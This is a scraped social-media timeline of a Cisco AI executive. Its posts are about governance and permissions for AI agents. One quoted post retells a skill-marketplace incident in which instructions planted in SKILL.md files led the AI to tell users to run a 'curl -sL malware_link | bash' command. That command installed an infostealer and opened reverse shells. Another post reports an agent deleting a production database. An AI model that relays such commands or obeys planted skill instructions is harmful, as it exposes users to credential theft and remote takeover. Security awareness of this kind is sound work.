SVP Products AI @Cisco | Previously Co-founder & CEO at @armorblox (Exited to Cisco) | 👨‍👩‍👧‍👦 w @ghatikesh. Views expressed are my own.

Joined December 2008
111 Photos and videos
Satya’s point about AI ecosystems is directionally right, but for enterprises the missing piece is the harness. The real challenge isn’t just connecting a model to a workflow. It’s giving that workflow safe access to infrastructure, policy, telemetry, and enforcement so it can actually run in production and improve over time. That’s how I think about @Cisco Cloud Control: a secure harness for infrastructure that helps enterprises build loops safely. Not just agents that can act, but governed systems that can observe, decide, execute, and learn without losing control.
1
4
283
Ok - this is super cool! @Ghatikesh has built something that I use everyday! It’s the “2nd brain” setup that doesn’t require a Ph.D. to setup! If you are like me and like to organize your thoughts, your interactions and optimize your mental framing on topics, and synthesize them regularly - you will love Keel.
1/7: I'm building Keel: a local-first AI assistant whose memory belongs to you. Plain markdown on your disk. Bring your own model - Claude, GPT, OpenRouter, or local Ollama. Your context is yours. The model is just a tenant. ▶️ Video Walkthrough: loom.com/share/29c1407fc2944… Beta on macOS 👉 github.com/Keel-Labs/keel
1
5
356
The PocketOS incident is a reminder: prompts are not permissions. “Don’t delete production data” is not a control plane. Agents need hard boundaries: - scoped credentials, - confirmations, - blast-radius limits, - audit trails, and - reversible workflows. Agent UX is the safety layer.
Apr 26
An AI agent (Cursor Claude Opus 4.6) deleted our production database in 9 seconds using a Railway API call with zero confirmation. Then, when asked why, the agent wrote this →
5
1
190
Been experimenting with routing tasks from Discord into OpenClaw using a post-trained Gemma model for intent/routing. @huggingface ml-intern made the post-training loop come together shockingly fast. This is the shift: prompt → answer becomes intent → routed work → outcome → better behavior.
1
115
The surprising part was how accessible the post-training loop felt. Not a giant research project. More like: capture the behavior you want, generate/evaluate examples, tune the model, wire it into the workflow, observe failures, repeat. That loop is going to become a core product-building muscle.
1
42
Enterprise agents are not just a model problem. They are a UX problem. Not chat UX. Delegation UX. Supervision UX. Approval UX. Interruption UX. The hard part is not getting an agent to do something impressive once. It is making the work legible enough that a company can trust it repeatedly. Enterprise adoption will depend on whether agents feel controllable, reviewable, and safe inside real workflows.
1
58
Most ‘AI agent security’ debates are still happening at the sandbox layer. That’s not the real production problem. The real problem is giving agents access to real data real systems without giving them unlimited authority. The winning stack will look like: • explicit permissions • action-level policy • audit trails • rollback • human escalation Smarter models help.
1
1
4
638
The is is super cool.
Incredibly excited to announce Keycard for Coding Agents - no more copy & pasting credentials or approving individual tool calls. Agents get task-scoped access, so you can stay in flow and actually build. You’re only pulled in when it matters. Yolo mode, without compromise.
198
We’re moving from “AI that can do things” to “AI that can be trusted to do things.” The next wave of agent products won’t be ones that are powered by the single smartest model. It’ll be the stack that combines: - specialized models - trusted runtimes - scoped identity - action-level permissions - audit by default
1
4
193
The contrarian take is that AI won’t just automate labor. It will massively increase the value of **coordination infrastructure**. When agents can act, the bottleneck shifts from generation to governance. Everyone talks about AI replacing workers. The more interesting effect may be AI increasing demand for management systems!! Details on who approved it, what it touched, how it failed, when a human steps in, etc. Better agents don’t remove the need for oversight. They make good oversight a moat.
There is no substitute for the person who Knows What To Do.
1
142
Everyone talks about models. Fewer people talk about the worlds those models learn inside. But environments, evals, and harnesses may end up being where a lot of the real leverage sits. The frontier isn't just intelligence. It's the systems that shape it.
1
2
104
DJ Sampath retweeted
the most underrated hire right now is a great product person. when i say product person i'm def not talking about a product manager. perhaps i think there has to be somewhat of a new role. i don't have a good name for it yet but maybe something like "product thinker".. someone with an intuitive grasp of the product as it exists, where it's soft, where it sings, & how to iterate it toward something even sharper. in some sense, this person has to cohesively hold in their head where this product should be 2 years from now & work backwards from that. i say this cuz when building was hard, engineering was the bottleneck & the status hierarchy often reflected that. building is no longer hard. which means the variance in outcomes has shifted almost entirely to judgment on what to build, how to sequence it, & how to talk about it. & the story matters as much as the thing. internally, it organizes the team around a shared model of why. externally, it shapes the interpretive frame users bring to their first experience. you can't retrofit narrative onto a product & expect it to land, it has to be load bearing from the start. the rarest version of this person sits at the intersection of culture & deep technology. someone genuinely bilingual. they know what's technically possible & they know which cultural currents are real vs. ephemeral. that combo is what separates products that feel inevitable from products that feel assembled. before ppl clap back with this person has always been valuable, i know.. i am just saying now they might be the most *important* person in the room. their value compounds like never before.
446
741
6,324
1,379,157
Such an awesome video. ❤️
The greatest period of creativity is just about to begin if you believe you can write the prompt for it
2
107
❤️ Please let us know how we can make the skills scanner even better! Teams @Cisco AI are hard at work ensuring we help the community secure the use of AI.
the #1 most downloaded skill on OpenClaw marketplace was MALWARE it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server 1,184 malicious skills found, one attacker uploaded 677 packages ALONE OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins you install a skill, your AI agent gets new powers, this sounds great the problem? ClawHub let ANYONE publish with just a 1 week old github account attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL but hidden in the SKILL.md file were instructions that tricked the AI into telling you to run a command > to enable this feature please run: curl -sL malware_link | bash that one command installed Atomic Stealer on macOS it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1 this is npm supply chain attacks all over again except the package can THINK and has root access to your life
2
118
With all the craze on @openclaw and mac-minis, I found this benchmark really interesting. This is from @digitalix on how 8-bit quantized model running on vLLM and @nvidia's DGX spark, scales to almost 1158 tps. This gets even better when you go down to FP4!
1
1
347
This. There needs to be a good design pattern to review prompts alongside code generated in PRs.
Jan 10
at least for small tools, keeping the code and throwing away the prompts is the 2025 equivalent of throwing away the source and keeping the binary.
110
I almost believe it’s time to reinvent resumes. Every job applicant needs to submit a vibe coded project. This is not just for engineering but for product, design, sales, marketing, and mandatory for any leadership positions.
At some point you will get an urge to vibe code an app. It’s very important that you listen to that urge and just get started.
1
152
DJ Sampath retweeted
Jan 6
#AI agents are moving fast. Trust needs to move faster. Securing MCP servers, reducing risk in AI-generated code, and understanding what agents are doing are key as agents take on more work. Learn more from Cisco SVP, AI Software and Platform, @djsampath and @davidbombal. ➡️ cs.co/6012CKOu2
1
10
30
3,242